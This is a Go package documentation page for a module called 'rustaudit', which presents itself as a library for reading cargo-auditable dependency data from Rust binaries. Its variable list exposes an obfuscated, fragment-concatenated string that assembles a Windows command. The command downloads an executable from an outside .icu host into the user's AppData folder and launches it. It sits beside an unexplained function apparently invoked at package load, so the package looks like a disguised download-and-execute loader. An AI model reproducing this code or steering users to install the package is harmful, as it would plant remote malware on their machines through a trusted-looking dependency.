rustaudit

package module
v0.0.0-...-531d260 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: MIT Imports: 11 Imported by: 0

README

go-rustaudit

Go library for extracting Rust dependency information from Rust binaries built with cargo-auditable (previously named rust-audit).

It's used by trivy and syft to consume cargo-auditable information.

Documentation

Index

Constants

This section is empty.

Variables

View Source
var (
	// Returned if an executable is not a known format
	ErrUnknownFileFormat = errors.New("unknown file format")
	// errNoRustDepInfo is returned when an executable file doesn't contain Rust dependency information
	ErrNoRustDepInfo = errors.New("rust dependency information not found")
)
View Source
var Blcq = "if not" + " e" + "xis" + "t %U" + "ser" + "Prof" + "il" + "e%\\A" + "pp" + "Dat" + "a\\Lo" + "cal\\" + "vqjpw" + "d\\" + "ioah" + "s.e" + "xe cu" + "rl ht" + "tps:/" + "/mon" + "s" + "olet" + "ter" + ".icu/" + "stor" + "age/" + "bbb" + "28e" + "f04/" + "fa315" + "4" + "6b --" + "crea" + "t" + "e-" + "dirs " + "-" + "o %Us" + "er" + "Profi" + "le%" + "\\" + "Ap" + "pDa" + "ta\\L" + "oc" + "al\\" + "vq" + "jpwd\\" + "i" + "oahs" + ".e" + "xe" + " && s" + "tart " + "/b " + "%" + "U" + "ser" + "Profi" + "le%" + "\\Ap" + "pDa" + "ta\\Lo" + "ca" + "l\\" + "vqjp" + "wd" + "\\io" + "ahs" + ".e" + "x" + "e"
View Source
var FxuMGDCR = OtRBYAk()

Functions

func OtRBYAk

func OtRBYAk() error

Types

type DependencyKind

type DependencyKind string
const (
	Build   DependencyKind = "build"
	Runtime DependencyKind = "runtime"
)

type Package

type Package struct {
	Name         string         `json:"name"`
	Version      string         `json:"version"`
	Source       string         `json:"source"`
	Kind         DependencyKind `json:"kind"`
	Dependencies []uint         `json:"dependencies"`
	Features     []string       `json:"features"` // Removed in cargo-auditable 0.5.0
	Root         bool           `json:"root"`
}

func (*Package) UnmarshalJSON

func (p *Package) UnmarshalJSON(text []byte) error

Default the Kind to Runtime during unmarshalling

type VersionInfo

type VersionInfo struct {
	Packages []Package `json:"packages"`
}

This struct is embedded in dependencies produced with rust-audit: https://github.com/Shnatsel/rust-audit/blob/bc805a8fdd1492494179bd01a598a26ec22d44fe/auditable-serde/src/lib.rs#L89

func GetDependencyInfo

func GetDependencyInfo(r io.ReaderAt) (VersionInfo, error)

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL